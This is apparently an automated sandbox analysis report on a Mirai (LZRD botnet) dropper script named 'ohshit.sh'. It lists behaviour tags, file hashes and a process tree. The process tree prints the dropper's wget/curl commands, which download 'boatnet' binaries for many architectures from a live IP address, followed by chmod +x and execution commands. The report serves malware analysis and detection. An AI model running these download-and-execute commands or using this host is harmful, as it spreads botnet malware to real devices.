Analysis

  • max time kernel
    148s
  • max time network
    142s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240729-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    17-01-2025 06:15

General

  • Target

    ohshit.sh

  • Size

    2KB

  • MD5

    95a4c9ceeaff1ba0b6b54a2ca6657d9b

  • SHA1

    3d204079c491b73eb2e8000ad770bfb538f3bb79

  • SHA256

    21108cd356037b6622cfe4306a50ef020eea3b1bf569af187e8b50f4f92ddbd6

  • SHA512

    227a981ea250c3f5f7db4eca15456302c014893198d403001ee38f321ed7893c48d6ff50768fceefbdb6cb9592dd4192b31ed22baf4c96652fb527c1c1700f6b

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Unexpected DNS network traffic destination 1 IoCs

    Network traffic to other servers than the configured DNS servers was detected on the DNS port.

  • Writes file to system bin folder 2 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Reads runtime system information 59 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 28 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ohshit.sh
    /tmp/ohshit.sh
    1⤵
    • Writes file to tmp directory
    PID:737
    • /usr/bin/wget
      wget http://107.172.51.228/hiddenbin/boatnet.x86
      2⤵
      • Writes file to tmp directory
      PID:741
    • /usr/bin/curl
      curl -O http://107.172.51.228/hiddenbin/boatnet.x86
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:759
    • /bin/cat
      cat boatnet.x86
      2⤵
        PID:766
      • /bin/chmod
        chmod +x boatnet.x86 ohshit.sh systemd-private-ccbf3bf9d92b4e22a8a1ec634726b288-systemd-timedated.service-dmp50n WTF
        2⤵
        • File and Directory Permissions Modification
        PID:767
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        PID:768
      • /usr/bin/wget
        wget http://107.172.51.228/hiddenbin/boatnet.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:771
      • /usr/bin/curl
        curl -O http://107.172.51.228/hiddenbin/boatnet.mips
        2⤵
        • Reads runtime system information
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:772
      • /bin/cat
        cat boatnet.mips
        2⤵
        • System Network Configuration Discovery
        PID:773
      • /bin/chmod
        chmod +x boatnet.mips boatnet.x86 ohshit.sh systemd-private-ccbf3bf9d92b4e22a8a1ec634726b288-systemd-timedated.service-dmp50n WTF
        2⤵
        • File and Directory Permissions Modification
        PID:774
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        • Modifies Watchdog functionality
        • Writes file to system bin folder
        • Reads runtime system information
        PID:775
      • /usr/bin/wget
        wget http://107.172.51.228/hiddenbin/boatnet.arc
        2⤵
        • Writes file to tmp directory
        PID:779
      • /usr/bin/curl
        curl -O http://107.172.51.228/hiddenbin/boatnet.arc
        2⤵
        • Reads runtime system information
        • Writes file to tmp directory
        PID:780
      • /bin/cat
        cat boatnet.arc
        2⤵
          PID:786
        • /bin/chmod
          chmod +x boatnet.arc boatnet.mips boatnet.x86 ohshit.sh systemd-private-ccbf3bf9d92b4e22a8a1ec634726b288-systemd-timedated.service-dmp50n WTF
          2⤵
          • File and Directory Permissions Modification
          PID:788
        • /tmp/WTF
          ./WTF
          2⤵
          • Executes dropped EXE
          PID:789
        • /usr/bin/wget
          wget http://107.172.51.228/hiddenbin/boatnet.i468
          2⤵
            PID:792
          • /usr/bin/curl
            curl -O http://107.172.51.228/hiddenbin/boatnet.i468
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:800
          • /bin/cat
            cat boatnet.i468
            2⤵
              PID:809
            • /bin/chmod
              chmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 ohshit.sh systemd-private-ccbf3bf9d92b4e22a8a1ec634726b288-systemd-timedated.service-dmp50n WTF
              2⤵
              • File and Directory Permissions Modification
              PID:810
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              PID:811
            • /usr/bin/wget
              wget http://107.172.51.228/hiddenbin/boatnet.i686
              2⤵
                PID:814
              • /usr/bin/curl
                curl -O http://107.172.51.228/hiddenbin/boatnet.i686
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:823
              • /bin/cat
                cat boatnet.i686
                2⤵
                  PID:834
                • /bin/chmod
                  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 ohshit.sh systemd-private-ccbf3bf9d92b4e22a8a1ec634726b288-systemd-timedated.service-dmp50n WTF
                  2⤵
                  • File and Directory Permissions Modification
                  PID:836
                • /tmp/WTF
                  ./WTF
                  2⤵
                  • Executes dropped EXE
                  PID:837
                • /usr/bin/wget
                  wget http://107.172.51.228/hiddenbin/boatnet.x86_64
                  2⤵
                    PID:839
                  • /usr/bin/curl
                    curl -O http://107.172.51.228/hiddenbin/boatnet.x86_64
                    2⤵
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:841
                  • /bin/cat
                    cat boatnet.x86_64
                    2⤵
                      PID:842
                    • /bin/chmod
                      chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-ccbf3bf9d92b4e22a8a1ec634726b288-systemd-timedated.service-dmp50n WTF
                      2⤵
                      • File and Directory Permissions Modification
                      PID:843
                    • /tmp/WTF
                      ./WTF
                      2⤵
                      • Executes dropped EXE
                      PID:844
                    • /usr/bin/wget
                      wget http://107.172.51.228/hiddenbin/boatnet.mpsl
                      2⤵
                      • Writes file to tmp directory
                      PID:845
                    • /usr/bin/curl
                      curl -O http://107.172.51.228/hiddenbin/boatnet.mpsl
                      2⤵
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:846
                    • /bin/cat
                      cat boatnet.mpsl
                      2⤵
                        PID:851
                      • /bin/chmod
                        chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-ccbf3bf9d92b4e22a8a1ec634726b288-systemd-timedated.service-dmp50n WTF
                        2⤵
                        • File and Directory Permissions Modification
                        PID:852
                      • /tmp/WTF
                        ./WTF
                        2⤵
                        • Executes dropped EXE
                        PID:853
                      • /usr/bin/wget
                        wget http://107.172.51.228/hiddenbin/boatnet.arm
                        2⤵
                        • Writes file to tmp directory
                        PID:856
                      • /usr/bin/curl
                        curl -O http://107.172.51.228/hiddenbin/boatnet.arm
                        2⤵
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:864
                      • /bin/cat
                        cat boatnet.arm
                        2⤵
                          PID:876
                        • /bin/chmod
                          chmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-ccbf3bf9d92b4e22a8a1ec634726b288-systemd-timedated.service-dmp50n WTF
                          2⤵
                          • File and Directory Permissions Modification
                          PID:877
                        • /tmp/WTF
                          ./WTF
                          2⤵
                          • Executes dropped EXE
                          PID:879
                        • /usr/bin/wget
                          wget http://107.172.51.228/hiddenbin/boatnet.arm5
                          2⤵
                          • Writes file to tmp directory
                          PID:881
                        • /usr/bin/curl
                          curl -O http://107.172.51.228/hiddenbin/boatnet.arm5
                          2⤵
                          • Reads runtime system information
                          • Writes file to tmp directory
                          PID:888
                        • /bin/cat
                          cat boatnet.arm5
                          2⤵
                            PID:889
                          • /bin/chmod
                            chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-ccbf3bf9d92b4e22a8a1ec634726b288-systemd-timedated.service-dmp50n WTF
                            2⤵
                            • File and Directory Permissions Modification
                            PID:890
                          • /tmp/WTF
                            ./WTF
                            2⤵
                            • Executes dropped EXE
                            PID:891
                          • /usr/bin/wget
                            wget http://107.172.51.228/hiddenbin/boatnet.arm6
                            2⤵
                            • Writes file to tmp directory
                            PID:893
                          • /usr/bin/curl
                            curl -O http://107.172.51.228/hiddenbin/boatnet.arm6
                            2⤵
                            • Reads runtime system information
                            • Writes file to tmp directory
                            PID:894
                          • /bin/cat
                            cat boatnet.arm6
                            2⤵
                              PID:895
                            • /bin/chmod
                              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-ccbf3bf9d92b4e22a8a1ec634726b288-systemd-timedated.service-dmp50n WTF
                              2⤵
                              • File and Directory Permissions Modification
                              PID:896
                            • /tmp/WTF
                              ./WTF
                              2⤵
                              • Executes dropped EXE
                              PID:897
                            • /usr/bin/wget
                              wget http://107.172.51.228/hiddenbin/boatnet.arm7
                              2⤵
                              • Writes file to tmp directory
                              PID:899
                            • /usr/bin/curl
                              curl -O http://107.172.51.228/hiddenbin/boatnet.arm7
                              2⤵
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:900
                            • /bin/cat
                              cat boatnet.arm7
                              2⤵
                                PID:901
                              • /bin/chmod
                                chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-ccbf3bf9d92b4e22a8a1ec634726b288-systemd-timedated.service-dmp50n WTF
                                2⤵
                                • File and Directory Permissions Modification
                                PID:902
                              • /tmp/WTF
                                ./WTF
                                2⤵
                                • Executes dropped EXE
                                PID:903
                              • /usr/bin/wget
                                wget http://107.172.51.228/hiddenbin/boatnet.ppc
                                2⤵
                                • Writes file to tmp directory
                                PID:905
                              • /usr/bin/curl
                                curl -O http://107.172.51.228/hiddenbin/boatnet.ppc
                                2⤵
                                • Reads runtime system information
                                • Writes file to tmp directory
                                PID:906
                              • /bin/cat
                                cat boatnet.ppc
                                2⤵
                                  PID:910
                                • /bin/chmod
                                  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 ohshit.sh WTF
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:911
                                • /tmp/WTF
                                  ./WTF
                                  2⤵
                                  • Executes dropped EXE
                                  PID:912
                                • /usr/bin/wget
                                  wget http://107.172.51.228/hiddenbin/boatnet.spc
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:914
                                • /usr/bin/curl
                                  curl -O http://107.172.51.228/hiddenbin/boatnet.spc
                                  2⤵
                                  • Reads runtime system information
                                  • Writes file to tmp directory
                                  PID:915
                                • /bin/cat
                                  cat boatnet.spc
                                  2⤵
                                    PID:916
                                  • /bin/chmod
                                    chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh WTF
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:917
                                  • /tmp/WTF
                                    ./WTF
                                    2⤵
                                    • Executes dropped EXE
                                    PID:918
                                  • /usr/bin/wget
                                    wget http://107.172.51.228/hiddenbin/boatnet.m68k
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:920
                                  • /usr/bin/curl
                                    curl -O http://107.172.51.228/hiddenbin/boatnet.m68k
                                    2⤵
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:921
                                  • /bin/cat
                                    cat boatnet.m68k
                                    2⤵
                                      PID:922
                                    • /bin/chmod
                                      chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh WTF
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:923
                                    • /tmp/WTF
                                      ./WTF
                                      2⤵
                                      • Executes dropped EXE
                                      PID:924
                                    • /usr/bin/wget
                                      wget http://107.172.51.228/hiddenbin/boatnet.sh4
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:926
                                    • /usr/bin/curl
                                      curl -O http://107.172.51.228/hiddenbin/boatnet.sh4
                                      2⤵
                                      • Reads runtime system information
                                      • Writes file to tmp directory
                                      PID:927
                                    • /bin/cat
                                      cat boatnet.sh4
                                      2⤵
                                        PID:928
                                      • /bin/chmod
                                        chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh WTF
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:929
                                      • /tmp/WTF
                                        ./WTF
                                        2⤵
                                        • Executes dropped EXE
                                        PID:930

                                    Network

                                    MITRE ATT&CK Enterprise v15

                                    Replay Monitor

                                    Loading Replay Monitor...

                                    Downloads

                                    • /tmp/WTF

                                      Filesize

                                      23KB

                                      MD5

                                      553fbff4e8c1e5b9468cc5d81f47f451

                                      SHA1

                                      4c65f38b9adca335e1185d23447bbb3e4b61dbc6

                                      SHA256

                                      1ee8b2996d1ceb800d962878c83e6bf8ef67f3ea1bcba0cba0d49b31b3596336

                                      SHA512

                                      d3f9c1494e85673583ab60f697395de05e200006f03b1bfacd7ef0e17488d09c81e908266f765bb7c84771cfb39957f66350509c9b566d5ea50130763deadf85

                                    • /tmp/WTF

                                      Filesize

                                      105KB

                                      MD5

                                      8a0eb12f131a868513eacb61b4c8fb62

                                      SHA1

                                      fbac5d15efd4502f89b515693906d772f5711855

                                      SHA256

                                      4f54d6dc5fdca9535fc7ff25709e90936d1fb9ed6d52302bc5aab624ea4a6fed

                                      SHA512

                                      04e242e0d2d023f70ec1da3624d01054bbca46476463e4f0bba3ce738449c660edcd0753dc96a887f4e81bd3086b87253e2ecc02644e5afc9646f9da60c25a72

                                    • /tmp/WTF

                                      Filesize

                                      220B

                                      MD5

                                      f1c24d9fa40a047ae22d2d3ae7dfeac9

                                      SHA1

                                      750274b02d5f5b00026a4f55b020f4285c693533

                                      SHA256

                                      219db693bfc6306868548b227030b636aaba7e2b2ad0582a8977ecef92d674bc

                                      SHA512

                                      36bd34e999eb4426823cadcf27076cf1128470e340172336ac3e3bdf3f194d0c873684f67b8d341df85eeb955e3c9dc3657ad7c5f05525e5c254476605d5b259

                                    • /tmp/WTF

                                      Filesize

                                      220B

                                      MD5

                                      a8f502a6fb3b7b940e922c951d9e493a

                                      SHA1

                                      fa94d6dade6bb7537ee3f58f2984b80f4b02dcdf

                                      SHA256

                                      748429c25463cc890809a866bfe2cb313f072be73bf5ea88fb4f65e26aa97bec

                                      SHA512

                                      e4ada74640d3ad58a6181ab1cd05fadd584788806908b00cf80924a19f29118a17f581d72d9abf1aa207f83d1e4ab163ea6c0c1e0ee6f2e211d1e0d366a27338

                                    • /tmp/WTF

                                      Filesize

                                      57KB

                                      MD5

                                      405f165092be3a00be30fc086d128883

                                      SHA1

                                      95a5dc07ff75bb2a545e0f64a5dba0f571f8336b

                                      SHA256

                                      067156679583ce84ad5e7329f087a7b3b27f15d69336135f992d03179c614947

                                      SHA512

                                      cf70bc7bd4ab0c7da644ed0742714e7ee292645ade1a090f4f763ff8d10d7cd71fa6b826487b33a906e7ec228876cbed5259aba20a3504adc377e77e705e499f

                                    • /tmp/boatnet.x86

                                      Filesize

                                      20KB

                                      MD5

                                      313c4b235e0e62ca38eb04bfa7677e44

                                      SHA1

                                      c31d5d0c0fa4bfa4ea2837cede424504c68ccfd3

                                      SHA256

                                      dfd6f81327b03f5336895c6bed7bfff178a054eafef5637ccb74e7a0ac4ef4c4

                                      SHA512

                                      0bf52b087e48b6daac55f735ae5b5af7626322db3200e72c61755d6b80234c503a02f3e35b340b70d1731fdec2054f530251504dec55497ca5877f9233ff54ad